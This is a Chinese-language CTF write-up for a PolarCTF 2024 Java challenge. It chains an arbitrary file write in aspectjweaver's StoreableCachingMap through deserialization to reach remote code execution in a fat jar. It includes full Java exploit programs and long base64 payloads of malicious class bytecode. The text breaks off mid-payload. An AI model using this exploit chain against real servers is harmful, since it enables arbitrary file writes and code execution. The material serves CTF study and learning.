PolarCTF_2024秋季个人挑战赛_Java

前言

遇到两个之前没练过的Java题类型，做一下学学

一写一个不吱声

💡

fatjar rce

根据描述肯定是存在一个任意文件写入的，看依赖有个aspectjweaver-1.9.5.jar，简单分析一下这个jar的任意文件写入

在\org\aspectj\weaver\tools\cache\SimpleCache.class下有个内部类StoreableCachingMap

在里面的put方法中存在文件写入

public Object put(Object key, Object value) {
    IOException e;
    try {
        e = null;
        byte[] valueBytes = (byte[])((byte[])value);
        String path;
        if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
            path = "IDEM";
        } else {
            path = this.writeToPath((String)key, valueBytes);
        }

跟进这个writeToPath方法

可以看到key作为文件名，this.folder + File.*separator* 作为目录，bytes 即put的value作为内容生成了一个文件，简单写一个payload试一下

StoreableCachingMap 类继承了HashMap，所以可以利用HashMap触发put

package com.polar.ctf.payload;

import org.aspectj.weaver.tools.cache.SimpleCache;

import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;

public class WriteFile {
    public static void main(String[] args) throws Exception{

        Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(String.class, int.class);
        declaredConstructor.setAccessible(true);
        HashMap hashmap = (HashMap) declaredConstructor.newInstance("D:\\desktop\\ctf赛题\\2024\\2024秋季个人挑战赛PolarCTF\\一写一个不吱声\\web\\com\\polar\\ctf\\payload",1);
        hashmap.put("1.txt","test".getBytes(StandardCharsets.UTF_8));

    }
}

成功写入，其实这里就可以结合CC，但是本题中没有CC依赖，所以得找个能触发put方法的，题目这里自己写了个触发put的类

所以利用这个readObject即可

package com.polar.ctf.payload;

import com.polar.ctf.bean.UserBean;
import org.aspectj.weaver.tools.cache.SimpleCache;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;

public class WriteFile {
    public static void main(String[] args) throws Exception{

        Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(String.class, int.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance("D:\\desktop\\ctf赛题\\2024\\2024秋季个人挑战赛PolarCTF\\一写一个不吱声\\web\\com\\polar\\ctf\\payload", 1);
//        hashmap.put("1.txt","efaefwafa".getBytes());

        String age = Base64.getEncoder().encodeToString("1212".getBytes());

        UserBean userBean = new UserBean("2.txt",age,o);
        byte[] bytes = serialize(userBean);

        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }
}

本地也是成功反序列化写入，任意文件写入成功了，接下来就是这个题目的重点了，fatjar下rce

本题是往classes下写一个class文件，然后利用反序列化去加载这个字节码（真实环境下classes默认不存在）

写入字节码exp

package com.polar.ctf.payload;

import com.polar.ctf.bean.UserBean;
import com.sun.org.apache.bcel.internal.Repository;
import org.aspectj.weaver.tools.cache.SimpleCache;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;

public class WriteFile {
    public static void main(String[] args) throws Exception{

        Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(String.class, int.class);
        declaredConstructor.setAccessible(true);
//        HashMap o = (HashMap) declaredConstructor.newInstance("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/", 1);
        Object o =  declaredConstructor.newInstance("/usr/lib/jvm/jdk1.8.0_65/jre/classes", 1);
//        hashmap.put("1.txt","efaefwafa".getBytes());

//        String age = Base64.getEncoder().encodeToString("1212".getBytes());

//        String age = "yv66vgAAADQAjgoABgBHCABICgAEAEkHAEoKAAQASwcATAoATQBOBwBPCgAIAEcHAFAKAAoAUQoACgBSCQBTAFQHAFUKAFYAVwoACABYCgBZAFoKAA4AWwoAXABdBwBeCgAUAF8IAGAIAGEHAGIKAAYAYwgAZAoABABlCgBmAGcKAAQAaAcASAcAaQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV2aWxFY2hvOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAJZXZpbENsYXNzAQARTGphdmEvbGFuZy9DbGFzczsBAAxldmlsSW5zdGFuY2UBABJMamF2YS9sYW5nL09iamVjdDsBAAVidG91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAZvYmpPdXQBABxMamF2YS9pby9PYmplY3RPdXRwdXRTdHJlYW07AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQANU3RhY2tNYXBUYWJsZQcAXgEACnJlYWRPYmplY3QBAB4oTGphdmEvaW8vT2JqZWN0SW5wdXRTdHJlYW07KVYBAANvaXMBABtMamF2YS9pby9PYmplY3RJbnB1dFN0cmVhbTsBAARjb2RlAQASTGphdmEvbGFuZy9TdHJpbmc7AQALY2xhc3NMb2FkZXIBADNMY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvdXRpbC9DbGFzc0xvYWRlcjsBAA9sb2FkQ2xhc3NNZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAC2xvYWRlZENsYXNzAQAKRXhjZXB0aW9ucwEAClNvdXJjZUZpbGUBAA1FdmlsRWNoby5qYXZhDAAgACEBAAhFdmlsRWNobwwAagBrAQAPamF2YS9sYW5nL0NsYXNzDABsAG0BABBqYXZhL2xhbmcvT2JqZWN0BwBuDABvAHABAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAGmphdmEvaW8vT2JqZWN0T3V0cHV0U3RyZWFtDAAgAHEMAHIAcwcAdAwAdQB2AQAQamF2YS9sYW5nL1N0cmluZwcAdwwAeAB7DAB8AH0HAH4MAH8AgAwAIACBBwCCDACDAIQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDACFACEBDX8kJEJDRUwkJCRsJDhiJEkkQSRBJEEkQSRBJEEkQSQ4ZFYkNWJXJFRXJFUkZmUkOGUkcSQ5OWEkWUQkQyRJJGYxUiRjMWskNDBNJGM0JGJiJDQwJGFkJElYJGFjJEIkYWRBJHYkYTJtJDg3JGUxJEEkRCQ5MyQ5OTgzJEIkYjQkZjckN2JrbyRmNmZrJGVkJGNkJGRhJGQ2diRmNSRjOSQ5NyRlOGokOTckYWUkM2UkZjckYTEkN2QkZTlrJDlmJGZhJGQ0JGJlJGY0JGwkZDQkZWUkOTNJNCRSJGFjZSR6JGY2OWdfJGNlJGRlJGZiJGRiJDdiJDlmJGNjJGNmJGZmJGZjcCREJGMwViQ3YyRhNyRhMCRpJDg3JFUkM2MkOGMkYzMkODIkcWUkTSR1OCQ4MiRhMzIkRyRyJDNjJGEyJDQwJGMyJDkwJDg0YyRLJDg2cSQ1YyRjNiRKJFokOGYkY2F4TCRjNiRlMzI0JG4kaCQ5MSRhMSRjYiRZJDk1JGMwJDg1JGM2JDk4JDhjcSRaJFQkSyRNTCR3JGE4JGMxJDk0JE1TJGFjJHYkWiQ5NiRNJDViRlo4JDNiJHYkYzMkOTEkZTAkdyRmMCQ5MCRSZFokYzEkTWYkVjQkZTIkOTQkOGMkZDNiJDdkQiQ5MCR0ZSQzYyRyJGUzaSRKJGNmJHVoJGMxJGIzJFMkOWVjJEl1JFkkOTYkZTEkZWRmJHUkOGI2JGxlJEl0JGQ5JGEzJDljJGExJHdhWCRiYyQzZiQ5MyRnJGUxJGNlJDgwNmIkUyR0JDljJGIwdSRjZCQzYyRhYTkkODY4JGU3JDk5JEJvJGMycCRaViR0bGckM2MkY2VnJGI1VCRkYSRlNHEkY2RNcyRkZCQ5YiQ5YyRlMSRkYTR3JGUyJDdiJGJieiRTJDNkJGZhJDg0JGRkJGNlJG13JGU4ZiRkZSRkOSQ4MiRlOU0kTSRkNSQ4OUltWiQ4YiQ5YiQ5YTUkayRlZjI1JGQ3bSRYJDgyViQ4NiRyRSRDJDg3JDhmJDk5dCQ1ZCRiYyQ4ZiQ3YiRUJGY2aE5jJGIzJDg4JGU2JGI2JGM2JGMxJDkxSVIkYzhJJGI2JEkkYjJVJDkwbSQ4MmwkWGQkODckbSQzYiRGJGQ5VWokOTckZjQkaSRjMyRnJHQkYmIkYjIkZTlWJDhhJGE2ZngkM2VZcFpzWiR2JGE0JGJhJG9hJGNmJGFjJGNlJGQzJDllYSQ1YiRxJGFmTHokOWEkM2UkZDUkYTckYTVzJDg4UHkkciQzY08kYzUkYTUkZWFJJGU4JHMkYTAkWiQ5NCRhNCQ5ZHF0JGJlJGNmJFEkODBVJFckZTAkODgkODkkZWJUbERMJGMyJEwkdyQ1ZSRjNEskdyQ1ZSRjNiR4JE0kaiRFZSRjY00kTCRmN2MkOGUkOTYkZTIzJGI2MyRWJDliJGUxJHAxJGRkJGI2JDNjJDNlJGViJGM1JGkkN2UyJGMzJDVkJF92JGQ4XyRiYiQ3Y3YkYWZtJDhlciRlYSQ4MVdVJGJjJDg2MyRNJGI1JGUzJGRjJGNia3R6JDk0JGNjSCRjNiRlM1QkYTkkYWEkM2IkUVckZjEkM2EkZGUkNjBYdCR0JDlhJDk0JDg1JDhhNyRmMSRXJGMzJDllJGZmJGhPJDkyJDNiJGQzJGU2JGJjTiR4ciRiMSRiOGkkZGJyJEokQyRlNXZkJE0kY2IkODUkZTMkZDkkOTgkZWIkZGIkZGUkYmUkYTMkYTAkNWNOJGNhJDgzJDhlJGUxcUckYzUkZGIkbyRkMjUkYTUkRyRUJDllJDk3JDhlJGY1JFMkdiRmNSRlZSRoJGY2ciQ4ZDAkdiRjOSRjZSRhZiRhYiQ4YSRiM3gkODckZWEkYWUkYTdGJFokcSRkYiQ4ZFkkOTQkOTgkODR3VSRiYyQ4NyRmN1UkN2MkODBzJHEkaSRkYyRkZiRhZiRlMkMkN2NEJDlkJFQkZDdJJHokM2ViWHF3JDgyJDhlJGh1JFYkZTckZjExJGYxJEUkeSQ5ZWlRJHgkZTckNWNkJDNjJGMzJDhjJHR1JGNkJGIyRCR2JCQkYTgkZjgkRSQ5ZiRhYSRmOCRNJDlmSyRmOEIkYzVFJDdjJHYkSyQ3ZSQ4OW44JGRlJGE5JGUyJHgkN2MkYWQkZTIkaCRlMSR3OGZmJGM0JGM1QSRkZCRiNCR6SiRiYWYkOWVWU3EkWiRkZjIkYWMkYmMkZjckYTAxNCRkY216SiRhMCRZJDk4cCRJJGxqSSQzZCRlMzgkZGMkZjIkSyRlNyRkYWhzJGUyTiR6aiRmNCQzYSRDNCRkZmskYjkkY2VJJGQ4JDNlJGI4JDkxJFMkZjUkbyQ5MSRiMCQ5OVckNDAkYzUxaSQ5MyRlM1BBJGEzcyRjN24kY2UkOGQkZWQkN2VBJExZJGVjJDk5JGM3ZngkOGVNJGYzJDdmJGJkJG8kbiRjMyQ5YSRiNiRhNyRJJGVjJDVkJGQxJGI5TyRjOSRmMCQ1Y1YkZjMkN2MkUE41JGM1JGQ0JGNkdVNzJGY4aCRuJGI2SiQ5NyQ3YiQ5ZCRiYSRjZSQ1ZCRkNyRmMCQ5ZiRjOCRlODEkZjEkYWUkVyRmNyRlMCR2JGQ3JGUzJHYkN2YkeSRPOXYkOWEkM2IkZGUkdiQ4NiRiNSRmNyRjMCRlMSRkNiQ4YlQkZTEkZDlHJGQyZCRkNCRhNSQ4OSRCJHYkYWQkZDYkeiRyWUwkYTdmWCRFJGYwJGQyJGUyJDhiJGJiJHM0JHQkdmYkYzQkZDJ5JDdiJGYzMVIkVWUkZjUkeFEzJGI3JDkyJGVkJDg1JGNlJGNlJGIxJE9nJHkkY2ZIJFZGJGI4cCRhOCR4MSRjYiRiMyRjOTAkYzBnOSRjZE00JDNhJGNmJGJiWmxBJFEkSSRiNEokNWQkZTUkOTkkTSRMJGM5JGQ1JDdlJHgkOWQkZjEkYzgkOTJrJDg0WiQ3ZCRjMSQ5ZGEkYzckOGIkRWQkZGUkUSQ5ZFckbSRkMFczJCQkZWYkZTYkYTYkOTEkUyRfJEokYzMkYmEkYmJjJDVkJDNjJGMyJG8kSiQ4YiRmYSQ5ZCQ4YUpRJGU0JGskZmEkQkckZDMkdiRlNyRjNmhzaVYkRlEkOGYkYzlTNEskZWRoJGMyJEckZmEkNWQkVyQ3ZiRMJGMwJGM0M080TiRhNzgkYWQkOGMkZDYkNjAkY2JVJGIwJHg5JGYxJHMkYTIkYTEkaTMkODRWJGEyJGFhJGFmJDgwJGNkJGQ4QiRhYkwkbCRVeSRlMyRGJGRmJGQzJDk1JFYkQSRkMyRhZmFBJFdlJGUxJDQwJFckYzEkRCR6JGUxUCRkOXVIWSRjOCQ4OSRmNSQ4Y3YkZTVZJHUkN2R5JDg1JEtfQSR6JHUkYjQkODQkeCRmMyRkYiRmZSRmNSRoJGYyJGJhbSQ4MSQ4ZCRiNyRiNiRjMSRiYyRkZEIkYjIkTFckZjkkYWEkOGIkZGFCeW4kYjUkZTAkODYkRCRjNCRqJHckTCRkNyRxJDg1SCQ4YUgkVURtJHEkZTQkZDNIJGEwcCQ5MyRpJDkxJG9BUiR6JHQkZDUkM2FSVSQ3ZUJNJDVieSRlOCQzYVEkciRiYyRmOCRnJGVhJGIzaCRJRyRiMlhyJGskZTEkODgkb3Qkb0okbSRiYzR5JFpVJGUyJGI4JHl3JDVjTjQkWSR2T0YkZTQkeSRlZSRMJGFmJHUkZjYkaSQ5MSRmZCRjYiQ3ZkQkZTMkZDA1NEUkOTQkeVZmJGIxJGVhJHdWJDg3JGQ3ZCRiMTYkOGJ1JGMyJGU5JGEwbyRaJGNkZyRTJDkxJGYzJGUxJGU1JGY5JGNkcyRmOCQ5N1EkN2UkYTAkciQ4YiRmNSQ4M1dEJFIkZDgkUSQzYk4kbEplJGI5JFM5WEYkYjQkOWMkY2EkYTMkYTAkOWUkY2EkZDAkRSRmMSQ5YVdiJHQkVyRhMiRMVSRlOCRjNyRvJE0kYTEkZzYkYzI4Q19oZ1EkOGJzJGE4JGMzJHIkeSRHJGU1JDhiJGhoJGMwJF8kODgkZTA3JHkkYzEkZWZ0JGQ3JGxYJDhlJDNmJGIxJEMkN2YkYTMkOTE1JGEzJDg5dWIkciRoJGMyJGckZjIkYjgkOGEkOWQkYzBqNiQ4MiRiNSRiOXY4TSQ3ZVQkZDYkODdtJGQ4TiRhN3okYjYkWCQzYiRjOCR0JHAkOGIkOWQkZDgkODU2aiRhMCQkJGI2JFkkZWQkYzQkeEMkM2YkYWIkNDAkSCRmMSRDJFkkYTIkZjAkZWYkYTckNWQkOTAkZTIkZjkkTCRiYkkkZyRhMiRhOCQ3ZSRjNSREJGI0JDkzJHUkYTYkeSRmNiQ5MFQkYTYkYzgkJCRhMiRUJDdiJHYkYWYkaCRiOCQ0MHl0QyRuJGVmQSRmNCQ2MCRseSQ3YiQ5MCRmZSRiNyRwcCQ5MyRDJGFlJDkwJGQwJHhhJGJmJDg0JDg3JEskZDQkZGYkZjgkZmIkRCRTJFMkNDAkYzVNQiQ4OSQ2MCQ5MyRkMCRYJGE0JEkkZmJzJGVkJDdkJGYwX2ckZjlqJGskWSRMJEEkQQEAMWNvbS5zdW4ub3JnLmFwYWNoZS5iY2VsLmludGVybmFsLnV0aWwuQ2xhc3NMb2FkZXIBADFjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC91dGlsL0NsYXNzTG9hZGVyDACGAIcBAAlsb2FkQ2xhc3MMAIgAiQcAigwAiwCMDABvAI0BABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABkoTGphdmEvaW8vT3V0cHV0U3RyZWFtOylWAQALd3JpdGVPYmplY3QBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAC3RvQnl0ZUFycmF5AQAEKClbQgEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEABmVuY29kZQEABihbQilbQgEABShbQilWAQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAUKClMamF2YS9sYW5nL09iamVjdDsAIQAeAAYAAQAfAAAAAwABACAAIQABACIAAAAvAAEAAQAAAAUqtwABsQAAAAIAIwAAAAYAAQAAAAoAJAAAAAwAAQAAAAUAJQAmAAAACQAnACgAAQAiAAAA9wAFAAUAAABOEgK4AANMKwO9AAS2AAUDvQAGtgAHTbsACFm3AAlOuwAKWS23AAs6BBkELLYADLIADbsADlm4AA8ttgAQtgARtwAStgATpwAITCu2ABWxAAEAAABFAEgAFAAEACMAAAAqAAoAAAANAAYADgAWAA8AHgAQACgAEQAuABIARQAWAEgAFABJABUATQAXACQAAAA+AAYABgA/ACkAKgABABYALwArACwAAgAeACcALQAuAAMAKAAdAC8AMAAEAEkABAAxADIAAQAAAE4AMwA0AAAANQAAAAwAAQAGAD8AKQA2AAEANwAAAAkAAvcASAcAOAQAAgA5ADoAAgAiAAAAygAGAAYAAABIEhZNEhe4AAMDvQAEtgAFA70ABrYAB8AAGE4ttgAZEhoEvQAEWQMSDlO2ABs6BBkELQS9AAZZAyxTtgAcwAAEOgUZBbYAHVexAAAAAwAjAAAAGgAGAAAAGQADABsAGgAeAC4AIQBBACIARwAjACQAAAA+AAYAAABIACUAJgAAAAAASAA7ADwAAQADAEUAPQA+AAIAGgAuAD8AQAADAC4AGgBBAEIABABBAAcAQwAqAAUANQAAAAwAAQBBAAcAQwA2AAUARAAAAAQAAQAUAAIARQAAAAIARgB6AAAACgABAFkAVgB5AAk=";

        String age = "yv66vgAAADQAdAoABgAtCAAuCgAEAC8HADAKAAQAMQcAMgoAMwA0BwA1CgAIAC0HADYKAAoANwoACgA4CQA5ADoHADsKADwAPQoACAA+CgA/AEAKAA4AQQoAQgBDBwBECgAUAEUIAEYIAEcHAEgKAAYASQgASgoABABLCgBMAE0KAAQATgcALgcATwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEADVN0YWNrTWFwVGFibGUHAEQBAApyZWFkT2JqZWN0AQAeKExqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOylWAQAKRXhjZXB0aW9ucwEAClNvdXJjZUZpbGUBAApFdmlsMy5qYXZhDAAgACEBAAVFdmlsMwwAUABRAQAPamF2YS9sYW5nL0NsYXNzDABSAFMBABBqYXZhL2xhbmcvT2JqZWN0BwBUDABVAFYBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAGmphdmEvaW8vT2JqZWN0T3V0cHV0U3RyZWFtDAAgAFcMAFgAWQcAWgwAWwBcAQAQamF2YS9sYW5nL1N0cmluZwcAXQwAXgBhDABiAGMHAGQMAGUAZgwAIABnBwBoDABpAGoBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABrACEBDX8kJEJDRUwkJCRsJDhiJEkkQSRBJEEkQSRBJEEkQSQ4ZFYkNWJXJFRXJFUkZmUkOGUkcSQ5OWEkWUQkQyRJJGYxUiRjMWskNDBNJGM0JGJiJDQwJGFkJElYJGFjJEIkYWRBJHYkYTJtJDg3JGUxJEEkRCQ5MyQ5OTgzJEIkYjQkZjckN2JrbyRmNmZrJGVkJGNkJGRhJGQ2diRmNSRjOSQ5NyRlOGokOTckYWUkM2UkZjckYTEkN2QkZTlrJDlmJGZhJGQ0JGJlJGY0JGwkZDQkZWUkOTNJNCRSJGFjZSR6JGY2OWdfJGNlJGRlJGZiJGRiJDdiJDlmJGNjJGNmJGZmJGZjcCREJGMwViQ3YyRhNyRhMCRpJDg3JFUkM2MkOGMkYzMkODIkcWUkTSR1OCQ4MiRhMzIkRyRyJDNjJGEyJDQwJGMyJDkwJDg0YyRLJDg2cSQ1YyRjNiRKJFokOGYkY2F4TCRjNiRlMzI0JG4kaCQ5MSRhMSRjYiRZJDk1JGMwJDg1JGM2JDk4JDhjcSRaJFQkSyRNTCR3JGE4JGMxJDk0JE1TJGFjJHYkWiQ5NiRNJDViRlo4JDNiJHYkYzMkOTEkZTAkdyRmMCQ5MCRSZFokYzEkTWYkVjQkZTIkOTQkOGMkZDNiJDdkQiQ5MCR0ZSQzYyRyJGUzaSRKJGNmJHVoJGMxJGIzJFMkOWVjJEl1JFkkOTYkZTEkZWRmJHUkOGI2JGxlJEl0JGQ5JGEzJDljJGExJHdhWCRiYyQzZiQ5MyRnJGUxJGNlJDgwNmIkUyR0JDljJGIwdSRjZCQzYyRhYTkkODY4JGU3JDk5JEJvJGMycCRaViR0bGckM2MkY2VnJGI1VCRkYSRlNHEkY2RNcyRkZCQ5YiQ5YyRlMSRkYTR3JGUyJDdiJGJieiRTJDNkJGZhJDg0JGRkJGNlJG13JGU4ZiRkZSRkOSQ4MiRlOU0kTSRkNSQ4OUltWiQ4YiQ5YiQ5YTUkayRlZjI1JGQ3bSRYJDgyViQ4NiRyRSRDJDg3JDhmJDk5dCQ1ZCRiYyQ4ZiQ3YiRUJGY2aE5jJGIzJDg4JGU2JGI2JGM2JGMxJDkxSVIkYzhJJGI2JEkkYjJVJDkwbSQ4MmwkWGQkODckbSQzYiRGJGQ5VWokOTckZjQkaSRjMyRnJHQkYmIkYjIkZTlWJDhhJGE2ZngkM2VZcFpzWiR2JGE0JGJhJG9hJGNmJGFjJGNlJGQzJDllYSQ1YiRxJGFmTHokOWEkM2UkZDUkYTckYTVzJDg4UHkkciQzY08kYzUkYTUkZWFJJGU4JHMkYTAkWiQ5NCRhNCQ5ZHF0JGJlJGNmJFEkODBVJFckZTAkODgkODkkZWJUbERMJGMyJEwkdyQ1ZSRjNEskdyQ1ZSRjNiR4JE0kaiRFZSRjY00kTCRmN2MkOGUkOTYkZTIzJGI2MyRWJDliJGUxJHAxJGRkJGI2JDNjJDNlJGViJGM1JGkkN2UyJGMzJDVkJF92JGQ4XyRiYiQ3Y3YkYWZtJDhlciRlYSQ4MVdVJGJjJDg2MyRNJGI1JGUzJGRjJGNia3R6JDk0JGNjSCRjNiRlM1QkYTkkYWEkM2IkUVckZjEkM2EkZGUkNjBYdCR0JDlhJDk0JDg1JDhhNyRmMSRXJGMzJDllJGZmJGhPJDkyJDNiJGQzJGU2JGJjTiR4ciRiMSRiOGkkZGJyJEokQyRlNXZkJE0kY2IkODUkZTMkZDkkOTgkZWIkZGIkZGUkYmUkYTMkYTAkNWNOJGNhJDgzJDhlJGUxcUckYzUkZGIkbyRkMjUkYTUkRyRUJDllJDk3JDhlJGY1JFMkdiRmNSRlZSRoJGY2ciQ4ZDAkdiRjOSRjZSRhZiRhYiQ4YSRiM3gkODckZWEkYWUkYTdGJFokcSRkYiQ4ZFkkOTQkOTgkODR3VSRiYyQ4NyRmN1UkN2MkODBzJHEkaSRkYyRkZiRhZiRlMkMkN2NEJDlkJFQkZDdJJHokM2ViWHF3JDgyJDhlJGh1JFYkZTckZjExJGYxJEUkeSQ5ZWlRJHgkZTckNWNkJDNjJGMzJDhjJHR1JGNkJGIyRCR2JCQkYTgkZjgkRSQ5ZiRhYSRmOCRNJDlmSyRmOEIkYzVFJDdjJHYkSyQ3ZSQ4OW44JGRlJGE5JGUyJHgkN2MkYWQkZTIkaCRlMSR3OGZmJGM0JGM1QSRkZCRiNCR6SiRiYWYkOWVWU3EkWiRkZjIkYWMkYmMkZjckYTAxNCRkY216SiRhMCRZJDk4cCRJJGxqSSQzZCRlMzgkZGMkZjIkSyRlNyRkYWhzJGUyTiR6aiRmNCQzYSRDNCRkZmskYjkkY2VJJGQ4JDNlJGI4JDkxJFMkZjUkbyQ5MSRiMCQ5OVckNDAkYzUxaSQ5MyRlM1BBJGEzcyRjN24kY2UkOGQkZWQkN2VBJExZJGVjJDk5JGM3ZngkOGVNJGYzJDdmJGJkJG8kbiRjMyQ5YSRiNiRhNyRJJGVjJDVkJGQxJGI5TyRjOSRmMCQ1Y1YkZjMkN2MkUE41JGM1JGQ0JGNkdVNzJGY4aCRuJGI2SiQ5NyQ3YiQ5ZCRiYSRjZSQ1ZCRkNyRmMCQ5ZiRjOCRlODEkZjEkYWUkVyRmNyRlMCR2JGQ3JGUzJHYkN2YkeSRPOXYkOWEkM2IkZGUkdiQ4NiRiNSRmNyRjMCRlMSRkNiQ4YlQkZTEkZDlHJGQyZCRkNCRhNSQ4OSRCJHYkYWQkZDYkeiRyWUwkYTdmWCRFJGYwJGQyJGUyJDhiJGJiJHM0JHQkdmYkYzQkZDJ5JDdiJGYzMVIkVWUkZjUkeFEzJGI3JDkyJGVkJDg1JGNlJGNlJGIxJE9nJHkkY2ZIJFZGJGI4cCRhOCR4MSRjYiRiMyRjOTAkYzBnOSRjZE00JDNhJGNmJGJiWmxBJFEkSSRiNEokNWQkZTUkOTkkTSRMJGM5JGQ1JDdlJHgkOWQkZjEkYzgkOTJrJDg0WiQ3ZCRjMSQ5ZGEkYzckOGIkRWQkZGUkUSQ5ZFckbSRkMFczJCQkZWYkZTYkYTYkOTEkUyRfJEokYzMkYmEkYmJjJDVkJDNjJGMyJG8kSiQ4YiRmYSQ5ZCQ4YUpRJGU0JGskZmEkQkckZDMkdiRlNyRjNmhzaVYkRlEkOGYkYzlTNEskZWRoJGMyJEckZmEkNWQkVyQ3ZiRMJGMwJGM0M080TiRhNzgkYWQkOGMkZDYkNjAkY2JVJGIwJHg5JGYxJHMkYTIkYTEkaTMkODRWJGEyJGFhJGFmJDgwJGNkJGQ4QiRhYkwkbCRVeSRlMyRGJGRmJGQzJDk1JFYkQSRkMyRhZmFBJFdlJGUxJDQwJFckYzEkRCR6JGUxUCRkOXVIWSRjOCQ4OSRmNSQ4Y3YkZTVZJHUkN2R5JDg1JEtfQSR6JHUkYjQkODQkeCRmMyRkYiRmZSRmNSRoJGYyJGJhbSQ4MSQ4ZCRiNyRiNiRjMSRiYyRkZEIkYjIkTFckZjkkYWEkOGIkZGFCeW4kYjUkZTAkODYkRCRjNCRqJHckTCRkNyRxJDg1SCQ4YUgkVURtJHEkZTQkZDNIJGEwcCQ5MyRpJDkxJG9BUiR6JHQkZDUkM2FSVSQ3ZUJNJDVieSRlOCQzYVEkciRiYyRmOCRnJGVhJGIzaCRJRyRiMlhyJGskZTEkODgkb3Qkb0okbSRiYzR5JFpVJGUyJGI4JHl3JDVjTjQkWSR2T0YkZTQkeSRlZSRMJGFmJHUkZjYkaSQ5MSRmZCRjYiQ3ZkQkZTMkZDA1NEUkOTQkeVZmJGIxJGVhJHdWJDg3JGQ3ZCRiMTYkOGJ1JGMyJGU5JGEwbyRaJGNkZyRTJDkxJGYzJGUxJGU1JGY5JGNkcyRmOCQ5N1EkN2UkYTAkciQ4YiRmNSQ4M1dEJFIkZDgkUSQzYk4kbEplJGI5JFM5WEYkYjQkOWMkY2EkYTMkYTAkOWUkY2EkZDAkRSRmMSQ5YVdiJHQkVyRhMiRMVSRlOCRjNyRvJE0kYTEkZzYkYzI4Q19oZ1EkOGJzJGE4JGMzJHIkeSRHJGU1JDhiJGhoJGMwJF8kODgkZTA3JHkkYzEkZWZ0JGQ3JGxYJDhlJDNmJGIxJEMkN2YkYTMkOTE1JGEzJDg5dWIkciRoJGMyJGckZjIkYjgkOGEkOWQkYzBqNiQ4MiRiNSRiOXY4TSQ3ZVQkZDYkODdtJGQ4TiRhN3okYjYkWCQzYiRjOCR0JHAkOGIkOWQkZDgkODU2aiRhMCQkJGI2JFkkZWQkYzQkeEMkM2YkYWIkNDAkSCRmMSRDJFkkYTIkZjAkZWYkYTckNWQkOTAkZTIkZjkkTCRiYkkkZyRhMiRhOCQ3ZSRjNSREJ